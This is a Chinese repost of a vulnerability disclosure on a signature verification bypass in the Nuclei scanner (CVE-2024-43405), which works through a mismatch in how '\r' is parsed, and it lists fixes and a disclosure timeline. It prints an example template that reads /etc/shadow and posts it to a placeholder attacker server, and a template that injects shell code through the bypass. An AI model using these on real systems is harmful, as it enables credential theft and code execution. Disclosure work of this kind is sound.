【漏洞预警】Nuclei 存在签名验证绕过问题 (CVE-2024-43405) 这可能会导致任意代码执行

科技   2025-01-04 14:08   广东  

在我们不断努力增强网络安全的过程中,Wiz 工程团队发现并帮助缓解了 ProjectDiscovery 广泛使用的开源安全工具 Nuclei 中的一个重大漏洞。这体现了我们致力于加强整个安全生态系统的决心,包括我们和许多其他人所依赖的工具。

Nuclei在 GitHub 上拥有超过 21,000 颗星,下载量高达210 万次,已成为许多组织安全堆栈的基石,包括我们 Wiz 自己的安全堆栈。它的受欢迎程度源于其在检测各种数字资产漏洞方面的灵活性和效率。这种广泛采用凸显了 Nuclei 在安全社区中发挥的关键作用,因此必须主动识别和解决任何潜在漏洞,以维护其完整性和可信度。

为何研究原子核?

Nuclei 是 Wiz外部攻击面管理库中的关键工具,有助于增强我们的全面安全扫描功能。

虽然 Nuclei 的多功能性使其非常有价值,但我们认识到运行任何外部工具都存在固有风险。作为安全最佳实践,我们在高度隔离、安全的环境中运行 Nuclei。这种方法大大降低了潜在风险,并符合我们对强大安全措施的承诺。

鉴于 Nuclei 在安全社区的广泛采用,我们认识到该工具中的任何漏洞都可能对整个行业产生影响。这促使我们仔细检查 Nuclei 的代码库,结果发现了 CVE-2024-43405,这是一个影响深远的高严重性漏洞。

深入探究 CVE-2024-43405

原子核如何工作

Nuclei 的强大之处在于其灵活的基于 YAML 的模板系统。这些模板定义了跨各种协议和技术检测漏洞、错误配置和其他安全问题的逻辑。

例如,考虑以下模板:

id: 1189c2fd-4d25-4f92-9c1c-208125397237
info:
  name: Ollama before 0.1.34 is vulnerable to remote code execution
  author: Wiz Research
  severity: Critical
  description: Publicly exposed Ollama instance is vulnerable to Remote Code Execution
    in Ollama (CVE-2024-37032)
  metadata:
    max-request: 1
http:
- method: GET
  path:
  - '{{BaseURL}}/api/version'
  matchers-condition: and
  matchers:
  - type: status
    status:
    - 200
  - type: word
    words:
    - '"version":"'
    part: body
  - type: dsl
    name: vulnerable_version
    dsl:
    - compare_versions(detected_version, "<=0.1.34")
  extractors:
  - type: json
    part: body
    name: detected_version
    json:
    - .version
    
# digest: 27066e6af9b75f3f1ff666635b0975fbc05a2db80526c13ee9ea7c302e303136:922c64590222798bb761d5b6d8e72951

此模板检查 Ollama 是否存在易受远程代码执行攻击的漏洞版本(CVE-2024-37032)。它演示了 Nuclei 模板如何使用清晰的基于 YAML 的格式简化复杂的安全检查。

Nuclei 支持多种协议,包括 HTTP、TCP、DNS、TLS 和Code。该协议允许在主机操作系统上code执行外部代码,从而实现强大但有风险的功能。

协议code

使用该协议的模板code可以在主机操作系统上本地执行命令。此功能对于评估自己系统的安全状况的安全研究人员非常有用。但是,当此类模板在生产系统上运行时,它们可能会在本地执行恶意代码,这可能会危害服务器或基础设施。

现实世界的风险:恶意模板

Nuclei 模板的灵活性意味着它们可以用于合法或恶意目的。例如,以下模板演示了攻击者如何利用该code协议从运行模板的主机中窃取敏感数据:

id: shadow-leak

info:
  name: Unauthorized /etc/shadow Exfiltration
  author: attacker
  severity: critical

code:
  - engine:
      - sh
      - bash
    source: |
        cat /etc/shadow | curl -X POST -d @- http://malicious-server.com/upload

# digest: ec871480d85b1756d8afd04cdc76ac6edf875f1d8a4192f74193a362dc7ec180:922c64590222798bb761d5b6d8e72951

此模板利用code协议读取/etc/shadow文件并将其发送到远程服务器。作为一项基本安全原则,不应在非沙盒环境中执行不受信任的代码。如果没有签名验证等适当的保护措施,这可能会导致未经授权的数据访问和系统入侵。

签名验证机制

为了解决这些风险,ProjectDiscovery 实施了签名验证机制。所有 Nuclei 引擎都信任 ProjectDiscovery,其官方模板库中的模板会自动签名,以确保其完整性和来源。此签名嵌入在# digest: <signature>每个模板末尾的注释中,作为真实性的加密保证。

由于此签名验证是目前唯一可用于验证 Nuclei 模板的方法,因此它代表了潜在的单点故障。这一关键作用促使我们调查其针对潜在绕过的稳健性和完整性。

揭秘签名验证绕过

Nuclei 的签名依赖于使用 P-256 曲线和 SHA-256的ECDSA的ASN.1编码,SHA-256 是一种被广泛采用的安全标准,以生成紧凑高效的数字签名而闻名。

Nuclei 的验证过程包括四个步骤:

  • 提取签名:使用正则表达式查找该# digest:行。

  • 删除签名:从模板内容中排除签名行。

  • 计算哈希值:对不带签名的内容进行哈希计算。

  • 验证签名:将计算出的哈希值与提取的签名进行比较以确保真实性。

如果模板验证成功,则使用 Go 的gopkg.in/yaml.v2库将其解析为 YAML,然后执行。

以下代码片段取自Nuclei,包含签名验证代码的重要逻辑。

var (
  ReDigest = regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)
  SignaturePattern = "# digest: "
)

func RemoveSignatureFromData(data []byte) []byte {
  return bytes.Trim(ReDigest.ReplaceAll(data, []byte("")), "\n")
}

func (t *TemplateSigner) Verify(data []byte) (bool, error) {
  digestData := ReDigest.Find(data)
  if len(digestData) == 0 {
    return false, errors.New("digest not found")
  }

  digestData = bytes.TrimSpace(bytes.TrimPrefix(digestData, []byte(SignaturePattern)))
  digestString := strings.TrimSuffix(string(digestData), ":"+t.GetUserFragment())
  digest, err := hex.DecodeString(digestString)
  if err != nil {
    return false, err
  }

  buff := bytes.NewBuffer(RemoveSignatureFromData(data))

  // Verify using standard Go's ECDSA
  if !t.verify(sha256.Sum256(buff.Bytes()), digest) {
    return false, errors.New("signature verification failed")
  }

  return true, nil
}

// SecureExecute is a mock we at Wiz created that mimics Nuclei's logic to illustrate the vulnerability,
// verifying a template's signature, parsing it as YAML, and executing it.
func SecureExecute(rawTemplate []byte, verifier *TemplateSigner) (interface{}, error) {
  // Verify the template signature
  isVerified, err := verifier.Verify(rawTemplate)
  if err != nil || !isVerified {
    return nil, errors.New("template verification failed")
  }

  // Parse the template
  template := &Template{}
  err = yaml.Unmarshal(rawTemplate, template)
  if err != nil {
    return nil, errors.New("couldn't unmarshal template")
  }

  // Execute the template and return the result
  return template.execute()
}

识别潜在的危险信号

通过查看上述代码片段,我们可以识别出一些潜在的易受攻击的逻辑。虽然这些问题的实现本身并不十分重要,但我们可能能够将它们组合起来作为漏洞加以利用。

🚩 使用正则表达式的安全关键逻辑

虽然正则表达式对于模式匹配非常有效,但依赖它进行安全关键操作可能会有风险。它的复杂性和极端情况可能会导致细微的差异,为攻击者利用非预期行为打开大门。在这种情况下,使用正则表达式进行签名验证会为绕过预期的安全检查提供机会。

在这个签名验证逻辑中我们可以看到签名的提取和删除都是使用正则表达式实现的。

ReDigest := regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)
// ...
digestData := ReDigest.Find(data)
// ...
template := ReDigest.ReplaceAll(data, []byte(""))

🚩 查找优先,删除所有不匹配项

实现使用ReDigest.Find来查找第一个签名,但稍后使用ReDigest.ReplaceAll从模板中删除签名。ReplaceAll将从内容中删除所有签名。这本身并不是一个漏洞,但它是我们应该牢记的一个基本原则。

考虑以下模板:

id: 272a78ad-9d63-4cc2-a715-be1657385d52
info:
  name: Jenkins should not allow remote unauthenticated access to script console
  author: Wiz Research
  
# digest: <signature1>
# digest: <signature2>

在此模板中,signature1将用于验证,而验证的内容为:

id: 272a78ad-9d63-4cc2-a715-be1657385d52
info:
  name: Jenkins should not allow remote unauthenticated access to script console
  author: Wiz Research

实际上,这使我们能够将信息“隐藏”# digest在计算签名验证摘要时不会被考虑的冗余行中。

🚩 双重解析器冲突:正则表达式和 YAML

模板解析逻辑和签名验证使用相同的模板内容。

// Note that the same `rawTemplate` is passed both to `Verify` and YAML

isVerified, err := verifier.Verify(rawTemplate) // Verify using regex
if err != nil || !isVerified {
  return nil, errors.New("template verification failed")
}

template := &Template{}
err = yaml.Unmarshal(rawTemplate, template) // Parse using YAML
if err != nil {
  return nil, errors.New("couldn't unmarshal template")
}

// The YAML parsed template is executed
return template.execute()

对同一内容使用两种不同的解析器会导致数据解释方式不一致的风险。虽然这些差异本身并不是漏洞,但如果被利用,可能会导致意外行为。

基于正则表达式的签名解析器使用模式(?m)^#\\sdigest:\s.+$来识别以 开头的行# digest:。而 YAML 解析器将其视为# digest:注释,在执行过程中将其忽略。这会产生不匹配:签名验证逻辑基于正则表达式规则运行,而执行逻辑依赖于 YAML 解析。

这种分歧凸显了一个潜在的弱点,即验证和执行过程可能不完全一致。

从弱点到脆弱性

现在我们已经识别出这些可疑模式,可以探索如何将它们串联起来形成一个实际的漏洞。

关键在于签名验证过程和 YAML 解析器处理模板内容的方式不匹配。具体来说:

  1. 仅验证第一个签名:签名验证过程仅检查第一# digest:行,但会从散列内容中删除所有此类行。这样,# digest:模板中就可以存在其他未经验证的行,而验证机制却不会注意到。

  2. 换行歧义:要让基于正则表达式的解析器删除一行,该行必须以 开头#,而 YAML 解析器会将其视为注释。但是,如果 YAML 解析器认为该行已结束,而正则表达式解析器却不这么认为,该怎么办?这种不一致可能允许我们将额外的内容注入模板中 — 绕过验证但由 YAML 解析器执行的内容。

为了更好地理解这一点,我们来看看YAML 规范:

根据此规范,YAML 将以下字符视为换行符:x0A(\n)、x0D(\r)或两者的组合(\r\n)。

但是,Go 中的正则表达式解析对换行符有自己的解释。为了测试这一点,我们检查了 Go 的正则表达式引擎如何处理签名提取正则表达式。

具体来说,用于查找签名的正则表达式可确保一行^以字符串开头( )# digest:,并捕获所有内容直到该行末尾($)。

inputs := []string{
  "# digest: abc123\nInjected content!",
  "# digest: ghi789\r\nInjected content!",
  "# digest: def456\rInjected content!",
  // ...
}

re := regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)

for _, input := range inputs {
  match := re.Find([]byte(input))
  fmt.Printf("Input: %q\n", input)
  fmt.Printf("Match: %q\n", match)
}

/*
Input: "# digest: abc123\nInjected content!"
Match: "# digest: abc123"

Input: "# digest: ghi789\r\nInjected content!"
Match: "# digest: ghi789\r"

Input: "# digest: def456\rInjected content!"
Match: "# digest: def456\rInjected content!" 💥
...
*/

从此输出中,我们可以看到 Go 的正则表达式解析器将 视为\n换行符,但不会\r。这意味着 分隔的内容\\r可以绕过基于正则表达式的签名验证,但仍会被 YAML 解析器解释为单独的行。

链接原语

凭借对不匹配换行符解释的了解,我们制作了一个模板,利用 Go 的正则表达式实现和 YAML 解析器之间的差异。通过使用\r换行符,我们可以# digest:在模板中包含第二行,以逃避签名验证过程,但由 YAML 解释器进行解析和执行。

id: benign-template
info:
  name: Valid Template Example
  author: Wiz Research
  severity: Low
  
# digest: <valid-signature>
# digest: <injected-signature>\rcode:\r\r engine:\r - sh\r source: |\r echo "This is injected and executed!" > /tmp/payload.txt

为什么有效

由于上述主要弱点,这种攻击是可能的:

  1. 解析器不一致: Go 基于正则表达式的签名验证将其视为\\r同一行的一部分,而 YAML 解析器将其解释为换行符。这种不匹配允许攻击者注入绕过验证但由 YAML 解析器执行的内容。

  2. First-Signature Trust:验证逻辑仅验证第一# digest:行。其他# digest:行在验证过程中将被忽略,但仍保留在内容中以供 YAML 解析和执行。

  3. 不一致签名移除:该ReplaceAll功能会从散列内容中删除所有# digest:行,确保仅验证第一行。后续行中的恶意内容仍未经验证但可执行。

通过链接这些弱点,攻击者可以将未经验证的可执行内容注入 Nuclei 模板 - 利用已识别的弱点来创建实际漏洞。

影响和结论

CVE-2024-43405 的发现揭示了漏洞是如何从解析和验证系统中的细微不一致中产生的。例如,攻击者可以制作包含操纵的 # 摘要行或精心放置的 \r 换行符的恶意模板,以绕过 Nuclei 的签名验证。

当组织运行不受信任或社区贡献的模板而未进行适当的验证或隔离时,此漏洞的攻击媒介就会出现。此外,允许用户修改或上传 Nuclei 模板的服务(例如自动扫描平台或共享安全管道)尤其容易受到攻击。攻击者可以利用此功能注入恶意模板,从而导致任意命令执行、数据泄露或系统入侵。

通过识别并负责任地披露此漏洞,我们的研究强调了解析器一致性和强大的验证机制的重要性,从而加强了安全生态系统。

这项工作凸显了深度防御方法的迫切需求,例如在隔离的沙盒环境中运行 Nuclei 等工具并严格验证模板源。通过与安全社区的合作,我们将继续推进安全研究并确保我们所依赖的工具保持安全可靠。

减轻

为了防范此漏洞,我们强烈建议采取以下步骤:

升级到 Nuclei 3.3.2 或更高版本:确保您正在运行 Nuclei 的修补版本(3.3.2 或更高版本),该版本解决了签名验证绕过问题。

在隔离环境中运行:始终在沙盒或高度隔离的环境中执行 Nuclei,以防止潜在地利用不受信任或社区贡献的模板。

通过遵循这些做法,您可以显著降低恶意利用的风险并维护安全、稳健的安全扫描工作流程。

负责任的披露时间表

我们于 2024 年 8 月负责任地向 ProjectDiscovery 的开发团队披露了此漏洞。ProjectDiscovery 彻底调查了该问题,并努力实施全面修复,同时在整个过程中保持清晰的沟通。

  • 2024 年 8 月 14 日– Wiz 向 ProjectDiscovery 报告了此问题

  • 2024 年 8 月 14 日——ProjectDiscovery 确认收到报告并提供了初步修复建议

  • 2024 年 8 月 19 日——ProjectDiscovery 承诺修复该漏洞

  • 2024 年 9 月 4 日——ProjectDiscovery 发布修补版本

  • 2025 年 1 月 3 日——Wiz 发表了一篇关于此问题的博客

ProjectDiscovery 迅速的初步响应和彻底解决漏洞的方法表明了他们对安全性的坚定承诺。他们的团队有条不紊地实施、测试和发布全面修复,确保他们广泛使用的工具持续安全。


感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章